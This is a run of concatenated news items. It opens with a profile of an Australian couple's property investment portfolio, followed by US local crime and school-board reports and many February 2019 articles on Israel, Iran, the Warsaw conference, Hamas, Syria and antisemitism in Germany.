The result of the planning showed that Chris and Mandy would be able to build a portfolio of a maximium of nine properties. However, they were warned that buying properties to fill their portfolio was only the start of it, as developing a strategy based on their financial situation would not be easy given the crackdown by APRA and the tightening lending criteria in NSW.

It took a few weeks to get our finances in order, but once that was done we purchased two more properties in the space of about two and a half months using a buyers agent.

Chris and his wife Mandy aim to build a nine-property portfolio that will allow them to retire early and be free to enjoy more family time

To hit their target of a nine-property portfolio, Chris and Mandy have adopted a buy and hold strategy.

Were targeting neutral- or positive-yield properties that wont cost us anything to hold, Chris explains.

We established a team early on and work with like-minded individuals. Our tax accountant that we have just started using this year is a property investor and deals with many clients who are also investors.

Chriss friend also joined their team as their mortgage broker, and the couple have engaged buyers agents for all the properties theyve purchased since embarking on their journey.

We try to leverage as much expertise as we can, so we make decisions based on research and on-the-ground experience in areas we are looking to buy in.

Since 2017, Chris and Mandy have been able to expand their investment portfolio to five properties, not including their principal place of residence at Lane Cove. While the Castle Hill property remains the cornerstone of their portfolio at almost double its value since purchase, the couple has diversified as well, branching out to properties in Victoria and Queensland.

We were able to ride the Sydney boom, which helped us get to where we are today. Now we have our eyes locked on the next boom, which we think is Brisbane. We are hoping that by leveraging buyers agents in Queensland, the properties there will grow significantly in the next few years, Chris says.

However, fear has sometimes prevented the couple from making more than they could have.

A few years back, thanks to my mum we were given the opportunity to purchase a piece of land in Kellyville that was in the process of being subdivided. The agent told us settlement probably wouldnt be required for at least a year, so we held the land for 10 months and then sold it as we were scared we would not be able to settle.

While Chris and Mandy were able to make a profit of $160,000 on the land, holding on to it for the full 12 months would have enabled them to earn $25,000$30,000 more profit.

Portfolio timeline

2005

Fresh out of school, Chris begins his first job in IT. A high-school friend who has begun investing in property suggests that he consider investment as well

2010

Chris and his new wife Mandy purchase their first home together in the suburb they grew up in, Castle Hill, NSW. The couple begin to think about property investing

Chris and Mandys first home in Castle Hill, NSW, is now their most profitable investment property

2014

To be closer to their jobs, Chris and Mandy buy an apartment as their new PPOR in Lane Cove. They lease out the Castle Hill duplex

2016

Chris and Mandy move into their new PPOR, and Chris gets news of his old friends property investment success. The couple meet with advisors to learn how to start investing seriously, and develop a nine-property portfolio plan

2017

The couple decide that the wind is blowing in the Sunshine States direction, and they buy two houses in Crestmead and Waterford West at a little over $300,000 each

The Waterford West property, one of two houses purchased in Queensland for just over $300k

The couples Crestmead property in Queensland brings in a healthy yield of 6.36%

2018

As the new year rolls in, Chris and Mandy purchase their first Victoria property in Grovedale, followed by another Queensland house in Bray Park, both for under $450,000

The Grovedale house is the couples first purchase in Victoria as they continue to diversify their portfolio

Settling down

Since purchasing two properties in 2017 and another two in 2018, the couples debt has grown to over $2.5m, but they are confident that these investments will pay o in the future.

We are towards the end of our acquisition phase. Our initial two loans for Castle Hill and Lane Cove were cross-collaterised, and when we engaged our current mortgage broker and his mentor, they were able to uncross them and perform major equity draws from our two properties due to their high growth over the last few years.

We try to leverage as much expertise as we can, so we make decisions based on research and on-the-ground experience in areas we are looking to buy in

Having built almost $1m in equity, the couple plan to continue investing until they reach nine real estate assets. And through the process of building their portfolio aggressively now, they ultimately want to be able to slow down and utilise the income from their properties to create more time for themselves and their family in the next decade or so.

We want to set ourselves up for retirement in 15 to 20 years. We hope to go through one to two property cycles and eventually pay the debt down and retire o passive rental income, Chris says.

But personally, I dont think I could retire early. I would get bored as I like to keep my mind busy!IRONWOOD  One man is in custody following the execution of a search warrant in the city of Ironwood Tuesday.

The Gogebic Iron Area Narcotics Team executed the warrant as part of an investigation into the sale of methamphetamine in Michigan and Wisconsin, according to a team news release.

A man, 52, was arrested as result of the search, according to the release, and is lodged in the Gogebic County Jail on a $100,000 cash bond.

The mans name is being withheld pending his arraignment.

Officers allegedly found crystal meth, prescription drugs and money during the search.

A GIANT spokesperson said the investigation is being sent to Gogebic County Prosecutor Nick Jacobs for review and the authorization of charges.

The investigation is continuing and additional charges are expected, according to the release.

Richard JenkinsYORK - The York Education Association and its school board have agreed to a salary schedule for the 2019-2020 academic year.

Monday night the board voted unanimously to ratify the negotiated agreement hammered out between the two entities during this years edition of an annual process.

The base salary on the districts pay scale will increase $400, however the new compensation elements ripple upward through other levels of the complicated document. The new pay schedule is posted in full to the districts website.

The board also accepted the resignation/retirement of middle school language arts teacher Lisa Eichinger who joined the district in August 1983. Eichinger has served YMS students a remarkable 36 years. Eichinger is the districts current Golden Apple award winner.

It was decided, based upon Superintendent Dr. Mike Lucas recommendation, to leave driver education fees unchanged at $300 for district students and slightly more for those from other school systems. Lucas said the program was in the black last year, thus his suggestion that there be no increase.

In brief comments on the budget, Lucas noted revenue was down a little in January, however it could well bounce back in February. Spending is about where we expected it to be.

The evening began with a presentation by high school science teacher Josh Miller and three of his students about the Trout in the Classroom project two classes are involved in this semester. Once required equipment was in place, students received rainbow trout eggs through Nebraska Game and Parks, hatched them and are now raising nearly 200 fry. During a field trip in April, Miller and his students will attend a several-hour culminating seminar at Schramm State Park and release their fish into the AK-SAR-BEN Aquarium located there.Israel has refused to allow the UN Security Council to visit the territory that the Palestinians claim for a future independent state, UN diplomats said Wednesday.

Last week, the council authorized Its current president, Equitorial Guinea's UN Ambassador Anatolio Ndong Mba, to consult the Israel and Palestinian ambassadors about a trip.

Palestinian Ambassador Riyad Mansour immediately responded, saying a council visit would be viewed "in the most positive way."Iran's Foreign Minister Mohammad Javad Zarif is linking a suicide bombing targeting the country's elite Revolution Guard to an ongoing, US-sponsored Mideast meeting in Warsaw.

Zarif tweeted Wednesday night: "Is it no coincidence that Iran is hit by terror on the very day that #WarsawCircus begins? Especially when cohorts of same terrorists cheer it from Warsaw streets & support it with twitter bots?"

Zarif added that the "US seems to always make the same wrong choices, but expect different results."The Council for Higher Education voted Wednesday to unanimously approve the establishment of a medical school at a university in the West Bank settlement of Ariel.

Education Minister and Chairman of the Council for Higher Education, Naftali Bennett hailed the decision, saying there is a severe shortage of doctors in Israel, and there is a need to establish this faculty. Its the right thing for academia, the medical world and the general public.Israel's prime minister has held a rare public meeting with the foreign minister of the Gulf Arab state of Oman at a U.S.-sponsored Mideast conference in Poland.

In a video released by Prime Minister Benjamin Netanyahu's office, the Omani foreign minister, Yusuf bin Alawi, said people in the Middle East have "suffered a lot" because they stick to the past. He said Wednesday's meeting reflects a "new era" for the region.

Netanyahu paid a surprise visit to Oman in November, calling it a "courageous decision" by the country's sultan to invite him.Yachad Party leader Eli Yishai on Wednesday claimed he had no connection to Facebook posts warning against a world where families have two parents of the same gender, but did tell reporters that the partys ambition was for every Jew to have both a father and a mother.

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Yishai said the posts, seen by many as homophobic, were made by Yachad Party activists. He refused to condemn the message and said that he has yet to decide whether to use the message in official campaign material. In the Jewish tradition there is a father and a mother and children makeup the next generation. I will not utter a word against the Torah of Israel, he said.

Eli Yishai against a background with the controversial slogan

When considering values and tradition, I look at what is the most appropriate thing. I want the public to see our agenda on how to improve the lot of young couples, the health and welfare service, Yishai added. He also said that he intends to accelerate the expulsion of African migrants from the country.

Director of the The AgudaIsrael's LGBT Task Force Hen Arieli said: As Interior Minister, Yishai collaborated on a number of LGBT related matters. We know that he promised family members from the gay community not to speak against them. Since then many years have passed, Yishai was ousted from the Knesset and Shas , incurred debts, lost his public stature and become a marginal episode in public life.

Arieli charged Yishai with incitement against the gay community out of desperation to make headlines ahead of a possible union among Right wing parties vying for Knesset seats.

How does he intend to eradicate the phenomenon? Arieli asked. Does he intend to remove thousands of children from same-gender homes and send them to orphanages? Perhaps expel them? Perhaps a pink badge? Enough headline making.

Yishai said that the parties on the fringes of the right-wing, Moledet and Bayit Yehudi, will unite, adding that in such a union the party will garner 10 seats. Yishai rejected allegations that the main motivation behind the union is his political survival, insisting the two parties share the same ideology: Torah and Jewish traditions and ethics.

Yishai said that the Knesset always had a religious lobby. He views it crucial that votes for the right not go to waste as often happens when parties dont pass the Knesset entry threshold. If Netanyahu is not able to form a broad right wing coalition, we will find ourselves with a leftist government, he said, expressing unequivocal support for the prime minister.

LGBT activists did succeed in having the Prima hotel chain reject a campaign waged against the gay community by the Hazon (Vision) organization and the hotel took down such signsstating that a normal family includes a mother and a father that were hung on their Jerusalem location. The hotels Director Avi Dor apologized for the signs which he said were placed by a third-party advertising company.WARSAW - Prime Minister Benjamin Netanyahu met Oman's foreign minister on the sidelines of a US-sponsored Middle East conference in Warsaw on Wednesday and hinted that other Arab countries represented there were engaging with Israel.

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"Many are following in your footsteps, including among those here today at the conference," a statement released by Netanyahu's office quoted him telling , whose Gulf state hosted the Israeli leader in October.

Netanyahu arrived in Poland early Wednesday to join senior officials from 60 nations at the Warsaw summit on peace and security in the Middle East, which is organized by the United States and Poland in an effort to ratchet up pressure against Iran.

Benjamin Netanyahu and Omani FM Yousuf bin Alawi bin Abdullah (Photo: GPO)

"I think that holding this conference, in which Israel, the US, various countries around the world and from the region sit down in one place ... and discuss one topicwhich, in my opinion, is the most important for our national securityis a very important achievement. I very much appreciate the American initiative, which I have been associated with and party to for many months," the prime minister said before boarding his flight to the Polish capital.

Benjamin and Sara Netanyahu heading to Poland (Photo: Amos Ben Gershom/GPO)

While in Warsaw, Netanyahu was also expected to meet with US Vice President Mike Pence and Secretary of State Mike Pompeo, as well as Polish Prime Minister Mateusz Morawiecki.

He premier is expected to give a scathing speech against Iran on the conference's first day Thursday. Pence and Polish Foreign Minister Jacek Czaputowicz were also scheduled to speak.

Iran has denounced the conference, which began Wednesday, as an American anti-Iran "circus" and Russia said it would not attend.

The absence of foreign ministers from major European powers, Germany and France, highlights festering tensions with the European Union over US President Donald Trump's decision last year to withdraw from a 2015 nuclear deal with Iran and reimpose sanctions.BERLIN - German authorities have arrested two suspected former members of Syria's secret police on allegations of carrying out or aiding in crimes against humanity, officials said Wednesday.

Police arrested the men Tuesday in Berlin and the southwestern state of Rhineland-Palatinate, according to a statement by federal prosecutors.

The suspects were identified as 56-year-old Anwar R., a high-ranking member of Syria's General Intelligence Directorate, and 42-year-old Eyad A., who was part of a unit that operated a checkpoint in the region around the capital Damascus.

Prosecutors said a third person was arrested Tuesday in France as part of a joint investigation. The man, who wasn't named, was allegedly a subordinate of Anwar R. German prosecutor's spokeswoman Frauke Koehler said there were no plans to extradite him from France.Against the backdrop of mounting tensions between Iran and the US, Iran's Supreme Leader Ayatollah Ali Khamenei said Tuesday that the current point of contention between the two countries stems from Iran's presence along Israel's borders.

"Iran supports the Palestinian struggle in the depths of the occupied territories, while providing protection to Hezbollah and the resistance," Khamenei added.Israeli security forces say Hamas attempted to recruit would-be terrorists by sending secret messages through the Palestinian terror organization's Gaza-based broadcasting network, Al-Aqsa TV.

According to the Shin Bet domestic security service, Hamas targeted Palestinians in the West Bank as well as Arabs from East Jerusalem who were also Israeli nationals.

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The group's modus operandi was to communicate with recruits through codes that were agreed upon in advance. For example, the broadcaster would place a cup of coffee on the table pr recite a line from a poem declaring loyalty to Allah in order to signal the recruit he has the green light to act. According to the Shin Bet, Hamas members reached out to four West Bank residents using this method.

Al-Aqsa TV broadcaster reportedly signals Hamas recruits to carry out terror attacks in West Bank (Photo: Shin Bet media)

The intelligence services said Israel has detained dozens of youthsamong them several women from the West Bank and East Jerusalem who were recruited and instructed by Hamas members to carry out terror over the past few years, leading the group to seek alternative ways to bring in fresh people.

"This new method from the Hamas military wing comes after a long series of attempts to carry out terror attacks by recruiting West Bank and East Jerusalem residents. These attempts have been thwarted over the past few years, resulting in the imprisonment of dozens recruits," a senior Shin Bet agent said.

Two of the Al-Aqsa broadcasters suspected of helping Hamas to convey its messages to new recruits are Islami Bader, 30, from Jabaliya and Raji Hams, 32, from Gaza City.

The Israel Defense Forces struck the Al-Aqsa studios in Gaza in November 2018.Israel Police on Wednesday said they have arrested the man they believe was behind the brutal attack on 27-year-old Vardit Bakraknot, whose body was found names in the woods near the city of Beit Shemesh in 1993.

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Police last week arrested 64-year-old Valeri Sakowitz for the rape and murder of the young woman after DNA from the suspect matched biological evidence found at the scene 25 years ago.

Valeri Sakowitz and Vardit Bakraknot

Sakowitz was arrested a week and a half ago. The Jerusalem District Court extended his remand for ten more days, after he placed himself at the murder scene.

A combination of police findings and technological developments have faciliated a breakthrough in this case," said Judge David Gabbay Richter. "As a such, it can be said that there is a high level of reasonable suspicion" against Sakowitz.

Sakowitz was born in Belarus when it was still part of the Soviet Union and arrived in Israel in 1990. He lived in Israel until 1994, when he returned to his native country. He went back to Israel a year later, but departed once again, to finally return in 2018.

Vardit Bakraknot, murdered in 1993

The suspect, a divorced father of two, initially said he was alone in Israel but later changed his story. He was then arrested and placed in solitary confinement. He testified to being at the murder scene while he was on his way to visit his girlfriend, but denied all other allegations.

Valeri Sakowitz, named main suspect in 1993 rape and murder case (Photo: Ohad Zwigenberg)

Bakraknot, a resident of Kibbutz Kiryat Anavim, located a few kilometers west of Jerusalem, was a photography student. She went missing in November 1993 and her body was found two days later in the Eshtaol Forest bearing signs of violence and rape. She was last seen getting into a Subaru Legacy sedan as she hitchhiked in Tel Aviv, and it is believed the man who drove the car is the one who killed her.

Two men were arrested and released after the murder, including an IAF reservist pilot who was cleared by a polygraph test. The other suspect was a salesman who served in the IDF with Bakraknot.

An article about the murder, December 6, 1993 (Photo: Yedioth Ahronoth archives)

A third man, a serial sex offender, was also arrested and released three months after the event. Two years later, the victim's parents claimed two men were behind the murder and not one, but the mystery remained unsolved.

Eshtaol Forest near the city of Beit Shemesh, where Vardit Bakraknot's body was found (Photo: KKL)

Other kibbutz members said the victim's father continued to search for the man who killed his daughter until the day he died in 2010.

"I dont know if I should be happy," Vardit's mother Ra'aya Bakraknot told Ynet last week. "Many theories ended up in nothing over the years and I've often been disappointed. I can't be happy. I hope this time it's him."

This new development comes less than a week after another young woman, Ori Ansbacher, was raped and murdered in the Jerusalem area. The suspect Arafat Irfayia, a 29-year-old resident of Hebron in the West Bank was arrested by the IDF on Saturday and is believed to be affiliated with the Hamas terror group.BERLIN - Anti-Semitic offenses rose almost 10 percent in Germany last year, and violent attacks were up more than 60 percent, crime statistics showed Wednesday.

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Police recorded 1,646 offenses motivated by hatred against Jews, said a government answer to a request by far-left Die Linke party lawmaker Petra Pau.

Among these were 62 violent offenses that left 43 people injured, up from 37 physical attacks the previous year.

German Chancellor Angela Merkel speaks at a demonstration in Berlin against anti-Semitism (Photo: AFP/Archive)

A mass influx of mostly Muslim refugees and migrants to Germany from 2015 drove the rise of the far-right and anti-immigration Alternative for Germany (AfD) party, which since late 2017 is the biggest opposition group in parliament.

Leading AfD members, aside from railing against Islam and multiculturalism, have also made comments that play down the Holocaust.

Party co-leader Alexander Gauland described Nazi Germany's industrial-scale murder of Jews and other minorities as a mere "speck of bird poo in over 1,000 years of successful German history."

Another leading AfD politician, Bjoern Hoecke, has criticised the sprawling Holocaust memorial in Berlin as a "monument of shame."

The Holocaust memorial in Berlin (Photo: Marko Priske)

The president of the Central Council of Jews in Germany, Josef Schuster, and other Jewish community leaders have accused the AfD of fomenting hate against refugees, Muslims and Jews.

Belt attack, Holocaust denial

At the same time, Germany has also witnessed a rise in anti-Semitic attacks committed by migrants from Arab states.

In one prominent case last year a 19-year-old Syrian man was convicted for assault after lashing out with his belt at an Israeli man wearing a kippa while shouting "yahudi", Jew in Arabic.

A video of the street assault, filmed by the victim on his smartphone, had sparked widespread public revulsion as it spread on social media, and triggered street rallies in solidarity with Jews.

'Berlin Wears a Kippa' soldiarity march (Photo: EPA)

News of the belt attack coincided with another public outcry, over a rap duo who made light of Nazi death camp prisoners but went on to win the music industry's sales-based Echo award, which was subsequently axed. The controversial winners were Kollegah and Farid Bang, whose lyrics include: "I'm doing another Holocaust, coming with a Molotov" and who sing that their bodies are "more defined than Auschwitz prisoners."

Days after the belt assault, some 2,000 people rallied at a "Berlin Wears Kippa" solidarity demonstration, matched by smaller events in several other German cities.

Most anti-Semitic offenses were however committed by far-right perpetrators, reported the Berlin daily Tagesspiegel in an article on the new crime statistics.





An anti-Israel protest in Frankfurt, Germany (Photo: Reuters)

A rising number of people and groups in the "gray zone between conservatism and right-wing extremism are denying the Holocaust and engaging in anti-Semitic agitation," she said.Iran's supreme leader says negotiations with the US "will bring nothing but material and spiritual harm" remarks that come ahead of an American-led meeting on the Mideast in Warsaw.

The comments from Ayatollah Ali Khamenei are part of a seven-page statement that was read out word-for-word on Iranian state television on Wednesday.

Currently, tensions between Iran and the US are high after President Donald Trump pulled America out of the nuclear deal last year.

Khamenei says: "About the United States, the resolution of any issues is not imaginable and negotiations with it will bring nothing but material and spiritual harm."While Hamas attempts to incrementally turn up the heat in the riots among Israels Gaza border, the "Palestinian night squads" have resumed their evening protests along the security fence, disrupting the Israel Defense Forces' routine activity. But Israel had better pay attention to the emerging reality on its Syria border in the Golan Heights where Hezbollah has been attempting to tighten its grip exactly as it did four years ago.

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According to Syrian reports, IDF tanks on Monday evening fired artillery rounds at "a demolished hospital" in Syria's southern Quneitra province near the border with Israel, causing material damage. It was also reported that Israel hit a military observation post in the border village of Jabta Elhashab. Some reports say the post belonged to "local activists," but it more likely belonged to Hezbollah, which is trying to regain its hold in the Syrian Golan Heights.

File photo: IDF strike near Damascus in January (: EPA)

While the IDF maintained a policy of ambiguity over Monday's strike, Prime Minister Benjamin Netanyahu did confirm that Israel had attacked Iranian targets in Syria, just he assumed responsibility for previous attacks over the few past weeks.

Hezbollah is trying to entrench itself in Syria, after Syrian President Bashar Assad has reclaimed the Syrian side of the Golan Heights, precisely as it did between 2014-2015. This was when one of the terror organization's more prominent members, Jihad Mughniyeh, was appointed by Hezbollah and the Iranian Revolutionary Guards' Quds Force to be in charge of the Golan Heights area and planning terror attacks against Israeli civilians.

But Jihad was killed in a 2015 airstrike attributed to Israel. His father, Hezbollah military and intelligence chief Imad Mughniyeh, was who also killed in an alleged Israeli operation in 2008.

In retribution for Jihad's death, Hezbollah staged an ambush of an IDF convoy near the Har Dov area, in close proximity to the Lebanese border, firing Kornet anti-tank missiles at the passing troops. The strike was followed by mortar fire coming in from Lebanon onto Mount Hermon after the IDF responded to the attack. Giva'ati Company Commander Major Yohai Kalangel and Sergeant Dor Nini were killed and seven others were injured in the incident.

Hezbollah leader Hassan Nasrallah

Hezbollah has recently announced it intends to release footage of that incident, which is considered the gravest since the 2006 Second Lebanon War.

The IDF has yet to comment on the terrorist group's announcement, however, the army has confirmed Hezbollah's attempts to base itself across Syrian villages over the past few months, operating against Israel in an area that is not bound by UN resolutions, unlike the Israel-Lebanon border.

In addition, an increase in the number of incidents along the Syrian border was noted over the past two months, with the Israeli strikes in Syria for which no one assumed responsibility meant to signal the enemy that it is best not cross any red lines. This is similar to the message Jerusalem conveyed to Iran when it attempted to entrench itself in Syria and was pushed out of there after a series of Israeli airstrikes.

Unlike the situation of four years ago, Iran has a rare presence along the Syrian border, while Hezbollah is working to resume its confrontations with Israel. But since the organization is up to its neck in domestic problems and cannot allow itself to face Israel on the Lebanese front, it finds Syria to be a more comfortable staging ground from which to take on the Jewish state.

Israel must therefore act with the same determination it demonstrated in 2015, which ultimately ruined Hezbollah's plans.Trust is a rare commodity. We live in an era when trust in the systems around us is gradually erodingto the point of being gone entirelyand we almost don't believe anyone anymore. There are good things about it too, but when this crisis of trust concerns certain state systems, this situation could claim a painful price. Such is the crisis of trust in the defense establishment.

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When the rumors about the murder of a young woman in a forest in Jerusalem were confirmed, a gag order was imposed on the case, which included the clear statement that the motive (of the suspected Palestinian killer) was unknown. And thus the deep rift that has existed for years between some of the residents of Judea and Samaria (West Bank settlements) and the Shin Bet intelligence agency widened into a vast abyss.

The Shin Bet has earned this crisis of trustwith the interrogation of the suspects in the murder in Duma, for example, and with stories about arrests and torture that astounded even the agency's greatest defenders. This is compounded by an expose on how secret Shin Bet informants married women settlers in order to gather intelligence, not to mention the pathetic response issued by the Shin Bet, which utterly failed to understand the kind of storm this expose generated among sections of Israeli society.

Protest outside the Prime Minister's Residence against the arrest of settler youth suspected of terrorism (Photo: Amit Shabi)

The arrests and interrogations of the students from the Pri Haaretz yeshiva further deepened the divide and created a sense of persecution, hatred and particularly hostile treatment of an entire sector of the population.

"I no longer believe them about anything," says one neighbor, while another friend adds that she doesn't think there is another demographic in Israel that endures such hostile treatment from the Shin Bet.

"Die quietly," says one of the social media posts that have been making the rounds amongst us since Friday afternoon, illustrating the extent of the crisis: "Shut up. There's a gag order. There's the Shin Bet. There is torture. You're not allowed to speak, you're not allowed to shout. We returned to Israel to form a security service that harms Jews with sidelocks and teenagers, that traumatizes our sons, exploits our daughters and silences their parents."

Another post demands that we "talk about the Shin Bet, which is constantly harassing young teens, who are left to rot in jail for long months. Talk about the fact graffiti on the wall is a terrible crime, and the torture of Jewish teens is a sacrifice to Moloch (a Canaanite god associated with child sacrifice), which the Jewish state makes its masters. But bringing damned murderers to justice? No."

When these cracks in our trust are not handled correctly, there is great confusionand ultimately everything goes to ruin. When these cracks in our trust are not dealt with, no one notices that the Shin Bet deserves commendation for apprehending a terrorist impressively quickly, something that should remind us all of the agency's primary mission to allow daily life in the State of Israel to go on undisturbed. The Shin Bet personnel do this day and night, making immense sacrificesand we must never forget that.

But the crisis of trust that has emerged as a result of this neglect is something that undermines Israel's national security, and that affects us all. And so, as we reach this low point, we need to stop for a moment and think about how we move forwardthe Shin Bet on the one hand, and the leadership of the residents of Judea and Samaria on the other. This is a joint move, and we need to rebuild that trust. It's not that complicated: we need to understand the dangerand most importantly take responsibility for our actions.

Tamar Asraf is the spokeswoman for the Binyamin Regional Council.More than 15 Palestinians infiltrated into Israel from Gaza since the beginning of 2019, seeking to escape the socioeconomic distress in the coastal enclave, according to the Israel Defense Forces Southern Command.

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Only a small proportion of those attempting to cross into Israel have been identified as Hamas members. The IDF said their main motive for breaching the fence was to escape their "misery" in the Strip. In order to prevent Israeli prisons from becoming too packed, some of the Palestinians were returned to the enclave after being questioned by the Shin Bet domestic security service.

Several of the detaineesmost of whom are teens aged 14-17were carrying knives and bolt cutters to ensure they end up in an Israeli prison and therefore remain in the country rather than to carry out a terror attack. The would-be infiltrators have also recently come up with a new methodgathering along the security fence in groups and waiting for Israeli soldiers to arrest them.

Palestinian detained by IDF after crossing into Israel (Photo: TPS)

The latest attempts to breach the fence came with the resumption of nighttime clashes along the Gaza border, which Hamas resumed on Sunday night, months after stopping them.

For the past two months, Israel and Hamas have been sticking to an agreement to restore calm to the border. Jerusalem has allowed fuel shipments and Qatari money to enter Gaza and has increased the Strip's fishing zone. In return, Hamas has stopped firing rockets at Israel's Gaza border communities and showed restraint during the weekly "March of Return" protests.

Gaza border riots (Photo: Reuters)

If relative calm remains along the Gaza border, the next and main stage of the arrangement between Israel and Hamas might be implemented: establishing a seaport in Cyprus through which goods will be transferred to Gaza.

Nevertheless, the IDF's Gaza Division does not see a clear link between the humanitarian relief Israel provides Gaza and the relative quiet on the border. The unstable relationship between Hamas and the Fatah-led Palestinian Authority, along with renewed activity by the Iranian-backed Palestinian Islamic Jihad, also influence security developments on the ground.

The IDF maintains that Hamas does have control over the Gaza border protests and the level of violence used by demonstrators, which it raises or loweres in line with its daily status evaluations.Prime Minister Benjamin Netanyahu arrived in Poland early Wednesday to join senior officials from 60 nations at the Warsaw summit on peace and security in the Middle East, which is organized by the United States and Poland in an effort to ratchet up pressure against Iran.

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"I think that holding this conference, in which Israel, the US, various countries around the world and from the region sit down in one place ... and discuss one topicwhich, in my opinion, is the most important for our national securityis a very important achievement. I very much appreciate the American initiative, which I have been associated with and party to for many months," he said before boarding his flight to the Polish capital.

While in Warsaw, Netanyahu is expected to meet with US Vice President Mike Pence and Secretary of State Mike Pompeo, as well as Polish Prime Minister Mateusz Morawiecki.

Prime Minister Netanyahu and his wife Sara board flight to Warsaw (Photo: Amos Ben Gershom/GPO)

The Israeli premier is expected to give a scathing speech against Iran on the conference's first day Thursday. US Vice President Pence and Polish Foreign Minister Jacek Czaputowicz are also scheduled to speak.

Iran has denounced the conference, which begins Wednesday, as an American anti-Iran "circus" and Russia has said it will not attend.

The absence of foreign ministers from major European powers, Germany and France, highlights festering tensions with the European Union over US President Donald Trump's decision last year to withdraw from a 2015 nuclear deal with Iran and reimpose sanctions.

EU policy chief, Federica Mogherini, who was a key player in the Iran nuclear deal, will also not attend the two-day conference due to scheduling issues, an EU official said, although US Secretary of State Mike Pompeo will travel to Brussels on Friday to meet with her.

Pompeo, who will be joined by US Vice President Mike Pence in Warsaw, played down the absence of leading European ministers at the event during a brief stop in the Slovak capital Bratislava on Tuesday, before he headed to Warsaw.

"Some countries are having their foreign ministers come. Other countries are not. That's their choice," he told a news conference.

"We think we will make real progress. We think there'll be dozens of nations there seriously working towards a better, more stable Middle East, and I'm hoping by the time we leave on Thursday we'll have achieved that," he added.

US officials, right, meet with Polish officials ahead of the conference (Photo: EPA)

While countries such as France, Germany and Britain have opened a new channel for non-dollar trade with Iran to avert US sanctions and keep the nuclear deal afloat, they have criticized Tehran's ballistic missile program.

"There will be discussions about Iran's influence in the Middle East, what we can do to help get Iran on a more helpful footing that it has been, to collectively push back on some of its malign behavior in the region," a senior US official said of the Warsaw agenda.

New US sanctions, mainly targeted at cutting off revenue from Iran's oil sector, have largely succeeded in persuading European companies to abandon business with Iran.

Iran has threatened to pull out of the deal unless the European powers enable it to receive economic benefits. The Europeans have promised to help companies do business with Iran as long as it abides by the deal.

US Secretary of State Mike Pompeo in Warsaw (Photo: AFP)

In other policy differences, Washington's European allies have also voiced concern over Trump's decision to withdraw US troops from Syria.

The Americans and the Poles invited senior officials from almost all Muslim and Arab nations, but were unable to bring many leaders to the conference. Instead, Arab countries will send foreign ministers, deputy ministers or ambassadors to Poland.

Among the Muslim countries expected to send ministers are Saudi Arabia, the United Arab Emirates, Oman, Jordan, Yemen, Bahrain, Morocco and Kuwait. Egypt and Tunisia will be sending deputy ministers.In addition, foreign ministers from Balkan and Visegrad Group (Hungary, Slovakia, the Czech Republic and Poland) nations will also attend.

This would be the first regional conference since the 1991 Madrid Conference in which the prime minister of Israel will be present alongside representatives of almost all Arab nations. It remains to be seen, however, whether Arab officials will make any public overtures to Netanyahu without a major concession to the Palestinian cause, which still animates the Arab public.

The 1991 Madrid Conference (Photo: Moshe Milner)

With Arab public opinion still strongly against normalization with Israel, this week's conference is unlikely to produce warm engagement right away, said Yoel Guzansky, a senior researcher at Israel's Institute for National Security Studies.

"Covert meetings already exist, and the 'under-the-table' relations are the world's worst kept secret, so I don't see what the Arabs would gain from shaking hands," he said. "The point is to see everyone in the same room as a united front against Iran. But the Arab street is still nowhere near where the elites are regarding Israel, and too strong an embrace could draw fire."

The conference, which was originally meant to focus on Iran, will also deal with promoting peace in the Middle East, after the Iranians put immense pressure on the Poles, who wish to maintain their good relations with Tehran and the Muslim world, and they changed the agenda.

Moreover, European countries warned Washington that it was ill-advised to hold a conference that highlights the differences of opinions between Europe and the United States on Iran, and suggested to hold a closed forum discussion on the Iranian ballistic missiles threat instead.

The conference will hear from White House adviser Jared Kushner, who is Trump's son in law, over plans by the United States for peace between Palestinians and Israelis.

While Kushner is not likely to divulge too many details of the plan, it will be one of the first occasions in the two years he has been working on the plan that he will publicly discuss the US efforts.

Palestinian officials have said they will not attend the Warsaw conference because of Washington's decision to move the US embassy to Jerusalem. They've also asked Arab countries to boycott or downgrade their representation at the conference in Poland.

"We view the Warsaw conference as a plot against the Palestinian cause," Palestinian Foreign Minister Riad Malki said this week.

President Mahmoud Abbas met with Saudi Arabia's King Salman on Tuesday, who expressed his "permanent stand" in favor of a Palestinian state with east Jerusalem as its capital, according to the official Saudi news agency.

Alongside Iran and the Palestinians, Qatar and Turkey are also boycotting the conference.WASHINGTON - US senators from both parties introduced a resolution on Tuesday requiring that any deal to share US nuclear power technology with Saudi Arabia block the kingdom from making a nuclear weapon.

Under the measure, any US civilian nuclear cooperation agreement, or 123 agreement, with Saudi Arabia would prevent enrichment of uranium or reprocessing of plutonium made in reactors - two routes to making nuclear weapons.

It is unclear whether a majority of the 100-member Senate would support the resolution of Democrats Jeff Merkley and Ed Markey and Republican Rand Paul. The resolution is also non-binding on the US government.Prime Minister and Defense Minister Benjamin Netanyahu confirmed Tuesday night that Israel attacked Iranian targets in Syria on Monday.

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Before leaving for an international conference in Warsaw, Netanyahu said that "We are operating every day, including yesterday, against Iran and its attempts to establish its presence in the area."

"Iran threatens us on the 40th anniversary of the revolution. They threatened to destroy Tel Aviv and Haifa, and I said that they would not succeed. But if they try, then I repeat that this will be the last anniversary of the revolution that they celebrate, this regime," he said.

Prime Minister Netanyahu before leaving for Warsaw (Photo: Amos Ben Gershom/GPO)

"We operate very many means and very many elements against the Iranian aggression, against their attempt to arm themselves with nuclear weapons and ballistic missiles. Time and again we have exposed their terrorist actions in Europe. Time and again we have blocked their attempts to entrench in Syria, day after day," the prime minister said.

In earlier comments during a visit to the Haifa Navy Base, Netanyahu said that "the missiles that you see behind me can go very far, against any enemy, including Iran's proxies in our region."

"We are constantly working according to our understanding and the need to prevent Iran and its proxies from entrenching on our northern border and in our region in general. We are doing everything necessary," he said.

Prime Minister and Defense Minister Netanyahu at the Haifa Navy Base (Photo: Haim Zach/GPO)

Syria's army said Monday that an Israeli Air Force drone fired four missiles near a demolished hospital in Quneitra and an army observation post in Jubata al-Khashab, also in the same area, not far from the border with Israel.

Syrian state news agency SANA quoted an army source as saying that the "Israeli enemy" also hit several sites along border villages close to a 1974 demilitarized zone on the Golan frontier that, with Russian support, the Syrian army recaptured from rebels last year.

The Syrian Observatory for Human Rights, which is affiliated with Syrian opposition, reported the attack targeted militias affiliated with the regime of President Bashar Assad. According to the report, at least four militiamen were wounded in the attack.

